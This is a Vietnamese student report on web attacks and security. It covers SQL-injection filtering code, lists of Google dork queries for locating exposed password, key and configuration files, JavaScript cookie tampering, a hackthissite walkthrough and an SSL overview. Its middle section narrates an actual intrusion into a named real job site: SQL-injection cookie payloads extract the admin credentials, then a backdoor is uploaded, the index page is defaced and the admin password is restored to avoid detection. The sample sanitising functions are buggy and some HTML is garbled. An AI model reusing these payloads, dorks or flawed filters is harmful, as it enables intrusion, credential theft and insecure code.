Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

thực hiện ở hai mức:


1.3.1. Kiểm soát chặt chẽ dữ liệu nhập vào
Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh
SQL là bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ
đối tượng Request (Request, Request.QueryString, Request.Form,
Request.Cookies, and Request.ServerVariables). Ví dụ, có thể giới hạn chiều
dài của chuỗi nhập liệu, hoặc xây dựng hàm EscapeQuotes để thay thế các
dấu nháy đơn bằng 2 dấu nháy đơn như:

<%
Function EscapeQuotes(sInput)
sInput = replace(sInput, " ' ", " ' ' ")
EscapeQuotes = sInput
5
End Function
%>

Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế
một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất
hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay
không bằng hàm IsNumeric().
Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy
hiểm như: ;, --, select, insert, xp_, … ra khỏi chuỗi dữ liệu nhập từ phía
người dùng để hạn chế các tấn công dạng này:

<%
Function KillChars(sInput)
dim badChars
dim newChars
badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_")
newChars = strInput
for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next
KillChars = newChars
End Function
%>

1.3.2. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu
Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến
tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông
thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn
chế, thiệt hại càng ít.

16
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ
bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người
dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ
thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.
Tham chiếu
[1]. Danh sách các website bị lỗi SQL injection: http://www.security.com.vn/
[2]. SQL Injection FAQ:
http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=2&tabid=3 [3].
Advanced SQL Injection :
http://www.nextgenss.com/papers/advanced_sql_injection.pdf [4].
Preventing SQL Injection:
http://www.owasp.org/asac/input_validation/sql.shtml [5]. SQL Injection
Attacks -Are You Safe? http://www.sitepoint.com/article/794

2. Sử dụng công cụ tìm kiếm của Google

Google là máy tìm kiếm mạnh mẽ và phổ biến nhất thế giới,nó có khả
năng chấp nhận những lệnh được định nghĩa sẵn khi nhập vào và cho những
kết quả không thể tin được. Điều này cho phép những người dùng có dã tâm
như tin tặc, crackers, và script kiddies v.v... sử dụng máy tìm kiếm Google để
thu thập những thông tin bí mật và nhạy cảm, những cái mà không thể nhìn
thấy qua những tìm kiếm thông thường.Với những cú pháp tìm kiếm nâng cao
có thể tìm ra những site lỗi hoặc server dễ bị tấn công.

Những cú pháp tìm kiếm nâng cao với Google

[intitle:]

Giúp Google giới hạn kết quả tìm kiếm về những trang có chứa từ đó
trong tiêu đề. Ví dụ, “intitle: login password” (không có ngoặc kép) sẽ cho kết
quả là những link đến những trang có từ "login" trong tiêu đề, và từ
"password" nằm ở đâu đó trong trang.

Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong tiêu đề của trang thì
ta có thể dùng “allintitle:” thay cho “intitle” để có kết quả là những trang có
chứa tất cả những từ đó trong tiêu đề. Ví dụ như dùng:
“intitle: login intitle: password” cũng giống như truy vấn “allintitle: login
password”.

Một số câu lệnh intitle phổ biến:

intitle:"Index of" service.pwd

17
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Directory listing contains service.pwd file(s)


intitle:"Index of" view-source
Directory listing contains view-source file(s)
intitle:"Index of" admin
Direcory listing contains administrative files or directories
intitle:"Index of" .htpasswd
Directory listing contains .htpasswd file!
intitle:"Index of" log.txt
Directory listing contians log text files
intitle:"Index of" stats.html
Directory listing contains stats.html which may contain useful web server
statistics
"access denied for user" "using password"
Web page contains error message which might provide useful
application information
"A syntax error has occurred" filetype:ihtml
Web page contains error message which might provide useful
application information
"ORA-00921: unexpected end of SQL command"
Web page contains error message which might provide useful
application information
inurl:passlist.txt
The passlist.txt file may contain user passwords
"Index of /backup"
Directory may contain sensitive backup files
intitle:"Index of" .bash_history
Directory listing contains bash history information
intitle:"Index of" index.html.bak
Directory listing contains backup index file (index.html.bak)
intitle:"Index of" index.php.bak
Directory listing contains backup index file (index.html.bak)
intitle:"Index of" guestbook.cgi
Directory listing contains backup index file (index.html.bak)
intitle"Test Page for Apache"
Default test page for Apache
intitle:index.of.etc
Directory listing of /etc ?
filetype:xls username password
XLS spreadseet containing usernames and passwords?
"This file was generated by Nessus"
Nessus report!
intitle:"Index of" secring.bak
Secret key file
intitle:"Terminal Services Web Connection"
Access terminal services!
intitle:"Remote Desktop Web Connection"

18
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Access Remote Desktop!


intitle:"Index of" access_log
Directory listing contains access_log file which may store sensitive
information
intitle:"Index of" finance.xls
Directory listing contains finance.xls which may contain sensitive
information
intitle:"Usage Statistics for"
Statistical information may contain sensitive data
intitle:"Index of" WSFTP.LOG
WSFTP.LOG file contains information about FTP transactions
intitle:"Index of" ws_ftp.ini
Directory listing contains password file(s)?
The ws_ftp.ini file may contain usernames and passwords of FTP users
"not for distribution" confidential
URL may contain confidential or sensitive information
"phpMyAdmin" "running on" inurl:"main.php"
phpMyAdmin allows remote mysql database administration
"#mysql dump" filetype:sql
mysql database dumps
"This summary was generated by wwwstat"
Database statistics
"Host Vulnerability Summary Report"
Vulnerability report!
"Network Vulnerability Assessment Report"
Vulnerability report!
inurl:php.ini filetype:ini
The php.ini file may contain sensitive PHP environment details.
BEGIN (CERTIFICATE|DSA|RSA) filetype:key
Private key(s)!
BEGIN (CERTIFICATE|DSA|RSA) filetype:csr
Private key(s)!
BEGIN (CERTIFICATE|DSA|RSA) filetype:crt
Private key(s)!
intitle:"Index of" passwd passwd.bak
passwd file!
intitle:"Index of" master.passwd
master.passwd file!
intitle:"Index of" pwd.db
pwd.db file may contain password information
intitle:"Index of..etc" passwd
passwd file!
filetype:cfg ks intext:rootpw -sample -test -howto
This file may contain the root password (encrypted)
intitle:"index.of.personal"
Directory may contain sensitive information

19
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

intitle:"Index of" login.jsp


The login.jsp file may contain database username or password
information
intitle:"Index of" logfile
Directory may contain sensitive log files
filetype:php inurl:"viewfile" -"index.php" -"idfil
File may contain PHP source code
allinurl:intranet admin
Page may contain sensitive information
"supplied argument is not a valid MySQL result resource"
mysql error message may reveal sensitive information
"Error Diagnostic Information" intitle:"Error Occurred While"
Error message may reveal sensitive information
HTTP_USER_AGENT=Googlebot
Page may contain sensitive environment details

[ inurl: ]
Cú pháp “inurl:” giới hạn kết quả tìm kiếm về những địa chỉ URL có chứa từ
khóa tìm kiếm. Ví dụ: “inurl: passwd” (không có ngoặc kép) sẽ cho kết quả là
những link đến những trang có từ "passwd" trong URL.
Tương tự, nếu ta muốn truy vấn nhiều hơn một từ trong URL thì ta có thể
dùng “allinurl:” thay cho “inurl” để được kết quả là những URL chứa tất cả
những từ khóa tìm kiếm.Ví dụ: “allinurl: etc/passwd“ sẽ tìm kiếm những URL
có chứa “etc” và “passwd”. Ký hiệu gạch chéo (“/”) giữa các từ sẽ bị Google
bỏ qua.

[ site: ]
Cú pháp “site:” giới hạn Google chỉ truy vấn những từ khóa xác định trong một
site hoặc tên miền riêng biệt. Ví dụ: “exploits site:hackingspirits.com” (không
có ngoặc kép) sẽ tìm kiếm từ khóa “exploits” trong những trang hiện có trong
tất cả các link của tên miền “hackingspirits.com”. Không có khoảng trống nào
giữa “site:” và “tên miền”.

[ filetype: ]
Cú pháp “filetype:” giới hạn Google chỉ tìm kiếm những files trên internet có
phần mở rộng riêng biệt (Ví dụ: doc, pdf hay ppt v.v...). Ví dụ : “filetype:doc
site:gov confidential” (không có ngoặc kép) sẽ tìm kiếm những file có phẩn mở
rộng là “.doc” trong tất cả những tên miền của chính phủ có phần mở rộng là
“.gov” và chứa từ “confidential”(bí mật) trong trang hoặc trong file “.doc”. Ví dụ

20
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

. Kết quả sẽ bao gồm những liên kết đến tất cả các file văn bản bí trên các
site của chính phủ.

[ link: ]
Cú pháp “link:” sẽ liệt kê những trang web mà có các liên kết đến đến những
trang web chỉ định. Ví dụ :
chuỗi “link:SecurityFocus” sẽ liệt kê những trang web có liên kết trỏ đến trang
chủ SecurityFocus.
Chú ý không có khoảng trống giữa "link:" và URL của trang Web.

[ related: ]
Cú pháp “related:” sẽ liệt kê các trang Web "tương tự" với trang Web chỉ định.
Ví dụ :
“related:www.securityfocus.com” sẽ liệt kê các trang web tương tự với trang
chủ Securityfocus. Nhớ rằng không có khoảng trống giữa "related:" và URL
của trang Web.

[ cache: ]
Truy vấn “cache:” sẽ cho kết quả là phiên bản của trang Web mà mà Google
đã lưu lại. Ví dụ:“cache:Hackingspirits” sẽ cho ra trang đã lưu lại bởi Google's.
Nhớ rằng không có khoảng trống giữa "cache:" và URL của trang web.
Nếu bạn bao gồm những từ khác trong truy vấn, Google sẽ điểm sáng những
từ này trong văn bản đã được lưu lại.
Ví dụ: “cache:Hackingspirits guest” sẽ cho ra văn bản đã được lưu lại có từ
"guest" được điểm sáng.

[ intext: ]
Cú pháp “intext:” tìm kiếm các từ trong một website riêng biệt. Nó phớt lờ các
liên kết hoặc URL và tiêu đề của trang.
Ví dụ: “intext:exploits” (không có ngoặc kép) sẽ cho kết quả là những liên kết
đến những trang web có từ khóa tìm kiếm là "exploits" trong các trang của nó.

[ phonebook: ]
“phonebook” tìm kiếm thông tin về các địa chỉ đường phố ở Mỹ và số điện
thoại.

Ví dụ:
“phonebook:Lisa+CA” sẽ liệt kê tất cả các tên người có từ “Lisa” trong tên và
ở “California (CA)”. Cú pháp này có thể được sử dụng như là một công cụ

21
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

tuyệt vời của tin tặc trong trường hợp ai đó muốn tìm kiếm thông tin cá nhân
cho công việc xã hội.

Truy vấn các site hoặc server dễ bị tấn công sử dụng các cú pháp
nâng cao của Google

Sử dụng cú pháp “Index of ” để tìm kiếm các site cho phép duyệt
chỉ mụcDƣới đây là vài Ví dụ sử dụng để có đƣợc quyền truy cập vào rất
nhiều thông tin nhạy cảm dễ dàng hơn rất nhiều:

Index of /admin
Index of /passwd
Index of /password
Index of /mail
"Index of /" +passwd
"Index of /" +password.txt
"Index of /" +.htaccess
"Index of /secret"
"Index of /confidential"
"Index of /root"
"Index of /cgi-bin"
"Index of /credit-card"
"Index of /logs"
"Index of /config"

Tìm kiếm các site hoặc server dễ bị tấn công sử dụng cú pháp
“inurl:” hoặc “allinurl:”

a. Sử dụng “allinurl:winnt/system32/” (không có ngoặc kép) sẽ liệt kê


tất cả các liên kết đến server mà cho phép truy cập đến những thư mục giới
hạn như “system32” qua web. Nếu bạn đủ may mắn thì bạn có thể có quyền
truy cập đến file cmd.exe trong thư mục “system32”. Một khi bạn có quyền
truy cập đến file “cmd.exe” và có thể thực thi nó thì bạn có thể tiến lên xa hơn
leo thang quyền của bạn khắp server và làm hại nó.

b. Sử dụng “allinurl:wwwboard/passwd.txt”(không có ngoặc kép) trong


Google search sẽ liệt kê tất cả các liên kết đến server mà dễ bị tấn công vào
“tính dễ bị tấn công mật khẩu WWWBoard”. Để biết thêm về tính dễ bị tấn
công này bạn có thể vào link sau đây:
http://www.securiteam.com/exploits/2BUQ4S0SAW.html

22
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

c. Sử dụng “inurl:.bash_history” (không có ngoặc kép) sẽ liệt kê tất cả các liên


kết đến server mà cho phép truy cập vào file“.bash_history” qua web. Đây là
một file lịch sử dòng lệnh. File này bao gồm danh sách các lệnh được thực thi
bởi quản trị viên, và đôi khi bao gồm cả thông tin nhạy cảm như mật khẩu gõ
vào bởi quản trị viên. Nếu file này bị làm hại và nếu nó bao gồm mật khẩu đã
mã hóa của hệ thống unix (or *nix) thì nó có thể dễ dàng bị crack bởi phương
pháp “John The Ripper”.

d. Sử dụng “inurl:config.txt” (không có ngoặc kép) sẽ liệt kê tất cả các liên kết
đến các máy chủ cho phép truy cập vào file “config.txt” qua giao diện web. File
này bao gồm các thông tin nhạy cảm, bao gồm giá trị bị băm ra của mật khẩu
quản trị và sự xác thực quyền truy cập cơ sở dữ liệu. Ví dụ: Hệ thống quản lý
học tập Ingenium là một ứng dụng Web cho các hệ thống Windows phát triển
bởi Click2learn, Inc. Hệ thống quản lý học tập Ingenium phiên bản 5.1 và 6.1
lưu các thông tin nhạy cảm không an tòan trong file config.txt. Để biết thêm
thông tin vào liên kết sau:
http://www.securiteam.com/securitynews/6M00H2K5PG.html

Những tìm kiếm tƣơng tự khác dùng “inurl:” hoặc “allinurl:” kết hợp với
các cú pháp khác:
inurl:admin filetype:txt
inurl:admin filetype:db
inurl:admin filetype:cfg
inurl:mysql filetype:cfg
inurl:passwd filetype:txt
inurl:iisadmin
inurl:auth_user_file.txt
inurl:orders.txt
inurl:"wwwroot/*."
inurl:adpassword.txt
inurl:webeditor.php
inurl:file_upload.php
inurl:gov filetype:xls "restricted"
index of ftp +.mdb allinurl:/cgi-bin/ +mailto
Tìm kiếm các site hoặc server dễ bị tấn công dùng “intitle:” hoặc
“allintitle:”

a. Sử dụng [allintitle: "index of /root”] (không có ngoặc vuông) sẽ liệt kê các


liên kết đến các webserver(máy chủ Web) cho phép truy cập vào các thư mục
giới hạn như “root” qua giao diện web. Thư mục này đôi khi bao gồm các

23
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

thông tin nhạy cảm mà có thể dễ dàng tìm được tqua những yêu cầu Web
đơn giản.

b. Sử dụng [allintitle: "index of /admin”] (không có ngoặc vuông) sẽ liệt kê các


liên kết đến các website cho phép duyệt chỉ mục các thư mục giới hạn như
“admin” qua giao diện web. Hầu hết các ứng dụng web đôi khi sử dụng tên
như “admin” để lưu quyền admin trong đó. Thư mục này đôi khi bao hàm các
thông tin nhạy cảm mà có thể dễ dàng tìm được qua các yêu cầu Web đơn
giản.

Những tìm kiếm tƣơng tự dùng “intitle:” hoặc “allintitle:” kết hợp với
các cú pháp khác
intitle:"Index of" .sh_history
intitle:"Index of" .bash_history
intitle:"index of" passwd
intitle:"index of" people.lst
intitle:"index of" pwd.db
intitle:"index of" etc/shadow
intitle:"index of" spwd
intitle:"index of" master.passwd
intitle:"index of" htpasswd
intitle:"index of" members OR accounts
intitle:"index of" user_carts OR user_cart
allintitle: sensitive filetype:doc
allintitle: restricted filetype :mail
allintitle: restricted filetype:doc site:gov

Để tìm những site dễ bị tấn công bằng phương pháp Cross-Sites


Scripting (XSS):

allinurl:/scripts/cart32.exe
allinurl:/CuteNews/show_archives.php
allinurl:/phpinfo.php
Để tìm những site dễ bị tấn công bằng phương pháp SQL Injection:
allinurl:/privmsg.php
allinurl:/privmsg.php

24
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

3. Sử dụng câu lệnh JavaScript – Inline

Mình sẽ giới thiệu với các bạn về kĩ thuật hack web chỉ dùng JavaScript. Với
kĩ thuật này, bạn có thể xem xét và hiệu chỉnh giá trị của các cookie hoặc
trường ẩn trực tiếp ngay trên trang web. Tất cả chỉ với một trình duyệt web hổ
trợ "debug javascript-inline", chẳng hạn như Internet Explorer, Netscape hay
Mozilla, ... Cơ bản về JavaScript-Inline

Đa số các trình duyệt web đều hổ trợ JavaScript-Inline.


Bạn có thể thi hành JavaScript bằng cách gõ vào thanh URL như sau:

Code:
javascript:void(<đặt lệnh JavaScritpt ngay tại đây!>)
Ví dụ:

Để xem giá trị hiện tại của cookie bạn gõ :


Code:
javascript:alert(document.cookie)

Hoặc
để thay đổi giá trị của trường ẩn "hiddenid" của form đầu tiên thành "2", bạn
gõ:
Code:
javascript:void(document.forms[0].hiddenid.value="2")

Mã nguồn HTML có đoạn như sau:


...

Code:
var a=unescape("%43%4f%44%45%5a");

function check()

if (document.a.c.value == a)

document.location.href="http://scifi.pages.at/hackits/"+document.a.c.value+".ht
m";

25
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

else

alert ("wrong! - letter size?");

}
Đơn giản bạn có thể gõ thẳng vào thanh URL của IE như sau:
Code:
javascript:alert(unescape(a)) để lấy password của level tiếp theo
("CODEZ")

Realistic mission 8 trên hackthisite.org yêu cầu bạn chuyển 10 triệu đô từ tài
khoản của "Gary Hunter" vào tài khoản "dropCash".
Sau khi bạn dùng SQL-Injection để lấy username của "Gary Hunter", bạn tiến
hành chuyển tiền như sau:

Đăng nhập vào tài khoản của bạn. Trên thanh URL của IE bạn gõ vào:
Code:
javascript:void(document.write('
< name="the_" ="movemoney.php" method="post"><
value="GaryWilliamHunter" name="FROM" ="">< value="dropCash"
name="TO" ="">< value="10000000" name="AMOUNT" =""><
value="Move Money To A Different Account" ="submit">'))

Đoạn JavaScript trên sẽ tạo một form với trường ẩn


Code:
FROM=GaryWilliamHunter, TO=dropCash, AMOUNT=10000000

Bây giờ bạn thay đổi cookie lại như sau:


Code:
javascript:void(document.cookie="accountUsername=G aryWilliamHunter")

javascript:void(document.cookie="accountPassword=G aryWilliamHunter")

Ấn nút "Move Money To A Different Account" một cái là xong.

Mình nghĩ rất có khả năng là mission 8 tạo một session("LoggedIn").

26
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Mỗi lần chúng ta đăng nhập vào nó sẽ đặt session("LoggedIn")=1. Chúng ta


chỉ cần thay đổi lại giá trị của cookie và trường ẩn để thực hiện việc chuyển
tiền trong session của chúng ta
vì nó chỉ kiểm tra sesion("LoggedIn")=1 mà không kiểm tra username thực sự
là ai.

Ví dụ cuối cùng, mình sẽ trình bày về cách hack trang web


http://www.mangvieclam.com/.
.
Mình đã gởi lời nhắn cho admin của mangvieclam.com nhưng chẳng thấy liên
lạc với mình để fix lỗi. Hihi, cái "message" của mình ở cuối trang index.asp
trên mangvieclam.com chưa thấy ai xóa hết.

Sau khi đã đăng nhập vào mangvieclam.com, bạn gõ vào thanh URL dòng
javascript:alert(document.cookie) để xem cookie.

Ban có thể thay đổi thông tin cá nhân của một user bất kì trên
mangvieclam.com bằng cách đổi lại cookie username như sau:
javascript:void(document.cookie="username=tên user"), sau đó chọn mục
"Cập nhập thông tin"

Bạn cũng có thể thay đổi password của một user bất kì trên mangvieclam.com
sau khi đã login vào với account của mình như sau: chọn mục "Thay đổi mật
khẩu", gõ dòng javascript:void(document.cookie="username=tên
user"+escape("' or '1'='1")) vào thanh URL, nhập password cũ là gì cũng được
và password mới, sau đó ấn nút "Thay đổi mật khẩu".

Lỗi này nằm trong file icl/filerec/detail.asp, dòng thứ 43..65. Ví dụ, khi bạn set
cookie username là "trungkien' or '1'='1", các câu lệnh SQL sau sẽ được thực
thi:

Select Count(UserID) As Check From tblUserInfo Where UserID = 'trungkien'


or '1'='1' And Passwords='md5(password cũ sai)' And Active = 1982 // luôn trả
về true do điều kiện or '1'='1' đúng mặc dù password cũ sai

Update tblUserInfo Set Passwords = 'md5(password mới)' Where UserID =


'trungkien' or '1'='1' And Active = 1982 // luôn set password mới cho user
"trungkien" do điều kiện UserID = 'trungkien' đúng trước điều kiện '1'='1'

Rất tiếc là lỗi này không thể khai thác trên


LINK :http://www.mangvieclam.com/
do lỗi lập trình.

Select Count(UserID) As Check From tblUserInfo Where UserID = N'trungkien'


or '1'='1' And Passwords = N'...' And Active = 1982

27
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

Tuy nhiên, website


LINK :http://www.mangvieclam.com/
dùng CSDL MS-SQL nên mình dễ dàng lấy được username và password của
admin từ tblConfig như sau:

Đầu tiên mình lấy username bằng


javascript:void(document.cookie="username="+escape ("' or
1=convert(int,(select adminid from tblconfig where accid=1))--"))

Chọn mục "Cập nhập thông tin"

Tên đăng nhâp của admin là 'ngtuan'

Tương tự mình lấy password của admin bằng


Code:
javascript:void(document.cookie="username="+escape ("' or
1=convert(int,(select adminpass from tblconfig where accid=1))--"))

Bây giờ mình đặt lại password mới là 'hacked'

HTML
Code:
<form action=http://www.mangvieclam.com/log.asp method=post>

username: <input type=text name=username><br>

password: <input type=password name=password><br>

<input type=hidden name=ChoseLogin value=3>

<input type=hidden name=mod value=1>

<input type=submit value=login>

</form>

Upload backdoor và thay đổi trang index.asp. Sau đó restore lại pasword cũ
cho admin để tránh bị phát hiện:

28
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

javascript:void(document.cookie="username="+escape ("';update tblconfig set


adminpass='...' where accid=1--"))

Một giải pháp cho mangvieclam.com là bạn nên chuyển biến


Request.Cookies("UserName") thành biến phiên Session("UserName") để
tránh bị giả mạo username như ở trên.

4. DDOS: Chƣa tìm hiểu

III. Một số cách bảo mật cho website


1. SSL(Secure Socket Layer)
1.1 Giới thiệu về SSL

Như chúng ta đã biết có hai giao thức bảo mật quan trọng lớp vận
chuyển (Layer Transport) có tầm quan trọng cao nhất đối với sự bảo mật của
các trình ứng dụng trên Web: đó là hai giao thức SSL và TLS.
Nói chung, có một số khả năng để bảo vệ bằng mật mã lưu lượng dữ
liệu HTTP. Ví dụ, vào những năm 1990, tập đoàn CommerceNet đã đề xuất S-
HTTP mà về cơ bản là một cải tiến bảo mật của HTTP. Một phần thực thi của
S-HTTP đã làm cho có sẵn công cộng trong một phiên bản được chỉnh sửa
của trình duyệt Mosaic NCSA mà những người dùng phải mua (trái với trình
duyệt Mo NCSA "chuẩn" có sẵn công cộng và miễn phí trên Internet).
Tuy nhiên, cùng thời điểm Netscape Communication đã giới thiệu SSL
và một giao thức tương ứng với phiên bản đầu tiên của Netscape Navigator,
Trái với tập đoàn CommerceNet, Netscape Communications đã không tính phí
các khách hàng của nó về việc thực thi giao thức bảo mật của nó. Kết quả,
SSL trở thành giao thức nổi bật để cung cấp các dịch vụ bảo mật cho lưu
lượng dữ liệu HTTP 1994 và S-HTTP lặng lẽ biến mất.
1.2 Cấu trúc của giao thức SSL:
Cấu trúc trúc của SSL và giao thức SSL tương ứng được minh họa
trong hình 1.1(Cấu trúc SSL và giao thức SSL). Theo hình này, SSL ám chỉ
một lớp (bảo mật) trung gian giữa lớp vận chuyển (Transport Layer) và lớp

29
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

ứng dụng (Application Layer). SSL được xếp lớp lên trên một dịch vụ vận
chuyển định hướng nối kết và đáng tin cậy, chẳng hạn như được cung cấp
bởi TCP. Về khả năng, nó có thể cung cấp các dịch vụ bảo mật cho các giao
thức ứng dụng tùy ý dựa vào TCP chứ không chỉ HTTP. Thực tế, một ưu
điểm chính của các giao thức bảo mật lớp vận chuyển (Transport layer) nói
chung và giao thức SSL nói riêng là chúng độc lập với ứng dụng theo nghĩa là
chúng có thể được sử dụng để bảo vệ bất kỳ giao thức ứng dụng được xếp
lớp lên trên TCP một cách trong suốt. Hình 1.1 minh họa một số giao thức
ứng dụng điển hình bao gồm NSIIOP, HTTP, FTP, Telnet, IMAP, IRC, và
POP3. Tất cả chúng có thể được bảo vệ bằng cách xếp lớn chúng lên trên
SSL (mẫu tự S được thêm vào trong các từ ghép giao thức tương ứng chỉ
định việc sử dụng SSL). Tuy nhiên, chú ý rằng SSL có một định hướng client-
server mạnh mẽ và thật sự không đáp ứng các yêu cầu của các giao thức
ứng dụng ngang hàng.

Cấu trúc của SSL và giao thức SSL


Tóm lại, giao thức SSL cung cấp sự bảo mật truyền thông vốn có ba
đặc tính cơ bản:

1. Các bên giao tiếp (nghĩa là client và server) có thể xác thực nhau bằng
cách sử dụng mật mã khóa chung.

30
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

2. Sự bí mật của lưu lượng dữ liệu được bảo vệ vì nối kết được mã hóa
trong suốt sau khi một sự thiết lập quan hệ ban đầu và sự thương lượng khóa
session đã xảy ra.
3. Tính xác thực và tính toàn vẹn của lưu lượng dữ liệu cũng được bảo vệ
vì các thông báo được xác thực và được kiểm tra tính toàn vẹn một cách
trong suốt bằng cách sử dụng MAC.
Tuy nhiên, điều quan trọng cần lưu ý là SSL không ngăn các cuộc tấn công
phân tích lưu lượng. Ví dụ, bằng cách xem xét các địa chỉ IP nguồn và đích
không được mã hóa và các sô cổng TCP, hoặc xem xét lượng dữ liệu được
truyền, một người phân tích lưu lượng vẫn có thể xác định các bên nào đang
tương tác, các loại dịch vụ đang được sử dụng, và đôi khi ngay cả dành được
thông tin về các mối quan hệ doanh nghiệp hoặc cá nhân. Hơn nữa, SSL
không ngăn các cuộc tấn công có định hướng dựa vào phần thực thi TCP,
chẳng hạn như các cuộc tấn công làm tràn ngập TCP SYN hoặc cưỡng đoạt
session.

Để sử dụng sự bảo vệ SSL, cả client lẫn server phải biết rằng phía bên
kia đang sử dụng SSL. Nói chung, có ba khả năng để giải quyết vấn đề này:

1. Sử dụng các số cổng chuyên dụng được dành riêng bởi Internet
Asigned Numbers Authority (IANA). Trong trường hợp này, một số cổng riêng
biệt phải được gán cho mọi giao thức ứng dụng vốn sử dụng SSL.

2. Sử dụng số cổng chuẩn cho mọi giao thức ứng dụng và để thương
lượng các tùy chọn bảo mật như là một phần của giao thức ứng dụng .

3. Sử dụng một tùy chọn TCP để thương lượng việc sử dụng một giao
thức bảo mật, chẳng hạn như SSL trong suốt giai đoạn thiết lập nối kết TCP
thông thường.

Sự thương lượng dành riêng cho ứng dụng của các tùy chọn bảo mật
(nghĩa là khả năng thứ hai) có khuyết điểm là đòi hỏi mọi giao thức ứng dụng
được chỉnh sửa để hiểu tiến trình thương lượng. Ngoài ra, việc xác định một

31
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

tùy chọn TCP (nghĩa là khả năng thứ ba) là một giải pháp tốt, nhưng đó không
được thảo luận nghiêm túc cho đến bây giờ. Thực tế, các số cổng riêng biệt
đã được dành riêng và được gán bởi IANA cho mọi giao thức ứng dụng vốn
có thể chạy trên SSL hoặc TLS (nghĩa là khả năng thứ nhất). Tuy nhiên, hãy
chú ý việc sử dụng các số cổng riêng biệt cũng có khuyết điểm là đòi hỏi hai
nối kết TCP nếu client không biết những gì mà server hỗ trợ. Trước tiên, client
phải nối kết với cổng an toàn và sau đó với cổng không an toàn hay ngược
lại. Rất có thể các giao thức sau này sẽ hủy bỏ phương pháp này và tìm khả
năng thứ hai. Ví dụ, SALS (Simple Authentication và Security Layer) xác định
một phù hợp để thêm sự hỗ trợ xác thực vào các giao thức ứng dụng dựa vào
kết nối. Theo thông số kỹ thuật SALS, việc sử dụng các cơ chế xác thực có
thể thương lượng giữa client và Server của một giao thức ứng dụng đã cho .
Các số cổng được gán bởi IANA cho các giao thức ứng dụng vốn chạy trên
SSL/TLS được tóm tắt trong bảng 1.2 và được minh họa một phần trong hình
1.1. Ngày nay, "S" chỉ định việc sử dụng SSL được thêm (hậu tố) nhất quán
vào các từ ghép của các giao thức ứng dụng tương ứng (trong một số thuật
ngữ ban đầu, S được sử dụng và được thêm tiền tố một cách không nhất
quán và một số từ ghép).

Các số cổng được gán bởi IANA cho các giao thức ứng dụng vốn chạy
trên SSL/TLS được tóm tắt trong bảng 1.2 và được minh họa một phần trong
hình 1.1. Ngày nay, "S" chỉ định việc sử dụng SSL được thêm (hậu tố) nhất
quán vào các từ ghép của các giao thức ứng dụng tương ứng (trong một số
thuật ngữ ban đầu, S được sử dụng và được thêm tiền tố một cách không
nhất quán và một số từ ghép).

1.3 SSL Record Protocol:


SSL Record Protocol nhận dữ liệu từ các giao thức con SSL lớp cao hơn và
xử lý việc phân đoạn, nén, xác thực và mã hóa dữ liệu. Chính xác hơn, giao
thức này lấy một khối dữ liệu có kích cỡ tùy ý làm dữ liệu nhập và tọa một loạt

32
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

các đoạn dữ liệu SSL làm dữ liệu xuất (hoặc còn được gọi là các bản ghi) nhỏ
hơn hoặc bằng 16,383 byte.

Các bước SSL Record Protocol.

Các bước khác nhau của SSL Record Protocol vốn đi từ một đoạn dữ liệu thô
đến một bản ghi SSL Plaintext (bước phân đoạn), SSL Compressed (bước
nén) và SSL Ciphertext (bước mã hóa) được minh họa trong hình 1.5. Sau
cùng, mỗi bản ghi SSL chứa các trường thông tin sau đây:
- Loại nội dung;

33
Đồ án môn học Lập trình web Đề tài: Tìm hiểu về Tấn công và Bảo mật website

- Số phiên bản của giao thức;


- Chiều dài;
- Tải trọng dữ liệu (được nén và được mã hóa tùy ý);
- MAC.
Loại nội dung xác định giao thức lớp cao hơn vốn phải được sử dụng
để sau đó xử lý tải trọng dữ liệu bản ghi SSL (sau khi giải nén và giải mã hóa
thíchhợp).
Số phiên bản của giao thức xác định phiên bản SSL đang sử dụng
(thường là version3.0) Mỗi tải trọng dữ liệu bản ghi SSL được nén và được
mã hóa theo phương thức nén hiện hành và thông số mật mã được xác định
cho session SSL.
Lúc bắt đầu mỗi session SSL, phương pháp nén và thông số mật mã
